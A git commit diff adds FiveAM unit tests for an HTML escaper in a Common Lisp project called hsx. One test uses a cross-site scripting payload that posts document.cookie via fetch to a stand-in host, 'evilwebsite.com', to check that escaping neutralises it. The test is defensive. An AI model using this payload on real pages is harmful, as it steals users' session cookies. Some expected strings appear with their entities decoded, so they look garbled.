Add escaper package
This commit is contained in:
parent
f9bf53042f
commit
19c5e5a2c1
5 changed files with 71 additions and 5 deletions
20
tests/escaper.lisp
Normal file
20
tests/escaper.lisp
Normal file
|
@ -0,0 +1,20 @@
|
|||
(defpackage #:hsx-test/escaper
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:hsx/escaper))
|
||||
(in-package #:hsx-test/escaper)
|
||||
|
||||
(def-suite escaper-test)
|
||||
(in-suite escaper-test)
|
||||
|
||||
(test escape-html-attribute
|
||||
(is (equal ""foo""
|
||||
(escape-html-attribute "\"foo\""))))
|
||||
|
||||
(test escape-html-text-content
|
||||
(is (string= "&<>"'/`="
|
||||
(escape-html-text-content "&<>\"'/`=")))
|
||||
(is (string=
|
||||
"<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"
|
||||
(escape-html-text-content
|
||||
"<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" ))))
|
|
@ -65,5 +65,3 @@
|
|||
(li "foo")
|
||||
frg
|
||||
(li "brah")))))))
|
||||
|
||||
;; TODO: Add escaping test
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue